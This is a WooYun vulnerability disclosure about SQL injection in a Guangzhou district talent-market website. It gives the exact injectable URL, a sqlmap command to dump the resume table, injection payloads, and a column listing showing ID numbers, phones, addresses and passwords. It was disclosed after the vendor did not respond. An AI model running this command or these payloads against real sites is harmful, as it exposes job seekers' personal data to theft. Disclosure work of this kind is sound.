当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0138014

漏洞标题:广州某区人才市场注入(几万份简历+身份证号+手机号码+详细地址)

相关厂商:从化人才网

漏洞作者: 我的滑板鞋

提交时间:2015-08-31 15:35

修复时间:2015-10-15 15:36

公开时间:2015-10-15 15:36

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-31: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-10-15: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

广州某区人才市场注入 主站问题不大,手机页面明显注入。

详细说明:

注入点:http://m.jobch263.com/ShowJob.asp?id=11931

root@cctv:~# sqlmap -u "http://m.jobch263.com/ShowJob.asp?id=11931" -D jobch263com -T person --dump
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 19:21:08
[19:21:08] [INFO] resuming back-end DBMS 'microsoft sql server'
[19:21:08] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=9223 AND 2476=2476
Type: UNION query
Title: Generic UNION query (NULL) - 37 columns
Payload: id=-6191 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CHAR(113)+CHAR(109)+CHAR(116)+CHAR(98)+CHAR(113)+CHAR(115)+CHAR(76)+CHAR(106)+CHAR(98)+CHAR(70)+CHAR(116)+CHAR(106)+CHAR(81)+CHAR(82)+CHAR(100)+CHAR(113)+CHAR(98)+CHAR(106)+CHAR(103)+CHAR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: id=9223; WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: id=9223 WAITFOR DELAY '0:0:5'--
---
[19:21:09] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows
web application technology: ASP.NET, ASP
back-end DBMS: Microsoft SQL Server 2000
[19:21:09] [INFO] fetching columns for table 'person' in database 'jobch263com'
[19:21:10] [INFO] the SQL query used returns 87 entries
[19:21:10] [INFO] retrieved: "address","nvarchar"
[19:21:10] [INFO] retrieved: "bday","datetime"
[19:21:10] [INFO] retrieved: "begintime","datetime"
[19:21:10] [INFO] retrieved: "byday","nvarchar"
[19:21:11] [INFO] retrieved: "callnum","nvarchar"
[19:21:11] [INFO] retrieved: "city","nvarchar"
[19:21:11] [INFO] retrieved: "click","int"
[19:21:11] [INFO] retrieved: "cn","varchar"
[19:21:12] [INFO] retrieved: "cname","nvarchar"
[19:21:12] [INFO] retrieved: "code","nvarchar"
[19:21:12] [INFO] retrieved: "computer","nvarchar"
[19:21:12] [INFO] retrieved: "edu","nvarchar"
[19:21:13] [INFO] retrieved: "edus","ntext"
[19:21:13] [INFO] retrieved: "email","nvarchar"
[19:21:13] [INFO] retrieved: "emails","nvarchar"
[19:21:13] [INFO] retrieved: "en","varchar"
[19:21:14] [INFO] retrieved: "finishtime","datetime"
[19:21:14] [INFO] retrieved: "getvip","int"
[19:21:14] [INFO] retrieved: "gj1","int"
[19:21:14] [INFO] retrieved: "gj1","int"
[19:21:14] [INFO] retrieved: "grzz","ntext"
[19:21:15] [INFO] retrieved: "guoji","nvarchar"
[19:21:15] [INFO] retrieved: "gzdd1","nvarchar"
[19:21:15] [INFO] retrieved: "gzdd1","nvarchar"
[19:21:15] [INFO] retrieved: "gzdd2","nvarchar"
[19:21:16] [INFO] retrieved: "gzdd3","nvarchar"
[19:21:16] [INFO] retrieved: "gzdd4","nvarchar"
[19:21:16] [INFO] retrieved: "gzdd5","nvarchar"
[19:21:16] [INFO] retrieved: "gzjl","ntext"
[19:21:17] [INFO] retrieved: "gznum","varchar"
[19:21:17] [INFO] retrieved: "hka","nvarchar"
[19:21:17] [INFO] retrieved: "hkb","nvarchar"
[19:21:17] [INFO] retrieved: "http","nvarchar"
[19:21:18] [INFO] retrieved: "id","int"
[19:21:18] [INFO] retrieved: "idate","datetime"
[19:21:18] [INFO] retrieved: "iname","nvarchar"
[19:21:18] [INFO] retrieved: "jifen","int"
[19:21:18] [INFO] retrieved: "job1","nvarchar"
[19:21:19] [INFO] retrieved: "job1","nvarchar"
[19:21:19] [INFO] retrieved: "job1s","nvarchar"
[19:21:19] [INFO] retrieved: "job2","nvarchar"
[19:21:19] [INFO] retrieved: "job2s","nvarchar"
[19:21:20] [INFO] retrieved: "jobs","nvarchar"
[19:21:20] [INFO] retrieved: "jobtype","nvarchar"
[19:21:20] [INFO] retrieved: "jtphone","nvarchar"
[19:21:20] [INFO] retrieved: "language","nvarchar"
[19:21:21] [INFO] retrieved: "languages","nvarchar"
[19:21:21] [INFO] retrieved: "lanlevel","nvarchar"
[19:21:21] [INFO] retrieved: "lanlevels","nvarchar"
[19:21:21] [INFO] retrieved: "lastdate","datetime"
[19:21:22] [INFO] retrieved: "marry","nvarchar"
[19:21:22] [INFO] retrieved: "mobile","varchar"
[19:21:22] [INFO] retrieved: "mubiao","ntext"
[19:21:22] [INFO] retrieved: "mzhu","nvarchar"
[19:21:23] [INFO] retrieved: "nianling","int"
[19:21:23] [INFO] retrieved: "oicq","nvarchar"
[19:21:23] [INFO] retrieved: "othertc","ntext"
[19:21:23] [INFO] retrieved: "otheryq","ntext"
[19:21:24] [INFO] retrieved: "phone","nvarchar"
[19:21:24] [INFO] retrieved: "pic","nvarchar"
[19:21:24] [INFO] retrieved: "posts","nvarchar"
[19:21:24] [INFO] retrieved: "pthua","nvarchar"
[19:21:24] [INFO] retrieved: "pwd","nvarchar"
[19:21:25] [INFO] retrieved: "rctype","nvarchar"
[19:21:25] [INFO] retrieved: "read","ntext"
[19:21:25] [INFO] retrieved: "school","nvarchar"
[19:21:25] [INFO] retrieved: "sendmail","int"
[19:21:26] [INFO] retrieved: "sex","nvarchar"
[19:21:26] [INFO] retrieved: "shengao","nvarchar"
[19:21:26] [INFO] retrieved: "shiyong","int"
[19:21:26] [INFO] retrieved: "shouji","nvarchar"
[19:21:27] [INFO] retrieved: "stop","int"
[19:21:27] [INFO] retrieved: "tel","nvarchar"
[19:21:27] [INFO] retrieved: "tizhong","nvarchar"
[19:21:27] [INFO] retrieved: "tj","int"
[19:21:28] [INFO] retrieved: "uname","nvarchar"
[19:21:28] [INFO] retrieved: "VIP","int"
[19:21:28] [INFO] retrieved: "vipmail","int"
[19:21:28] [INFO] retrieved: "workdate","nvarchar"
[19:21:29] [INFO] retrieved: "yan","int"
[19:21:29] [INFO] retrieved: "yuex","nvarchar"
[19:21:29] [INFO] retrieved: "zcheng","nvarchar"
[19:21:29] [INFO] retrieved: "zye","nvarchar"
[19:21:29] [INFO] retrieved: "zyes","nvarchar"
[19:21:30] [INFO] retrieved: "zym","nvarchar"
[19:21:30] [INFO] retrieved: "zyms","nvarchar"
[19:21:30] [INFO] retrieved: "zzmm","nvarchar"
[19:21:30] [INFO] fetching entries for table 'person' in database 'jobch263com'
[19:21:30] [INFO] fetching number of distinct values for column 'cn'
[19:21:31] [INFO] fetching number of distinct values for column 'en'
[19:21:31] [INFO] fetching number of distinct values for column 'id'
[19:21:31] [INFO] using column 'id' as a pivot for retrieving row data
[19:21:39] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[19:22:20] [WARNING] user aborted during enumeration. sqlmap will display partial output
[19:22:20] [INFO] analyzing table dump for possible password hashes


漏洞证明:

QQ截图20150830191454.png


QQ图片20150830192509.png


111111.png

修复方案:

过滤

版权声明:转载请注明来源 我的滑板鞋@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝


漏洞评价:

评论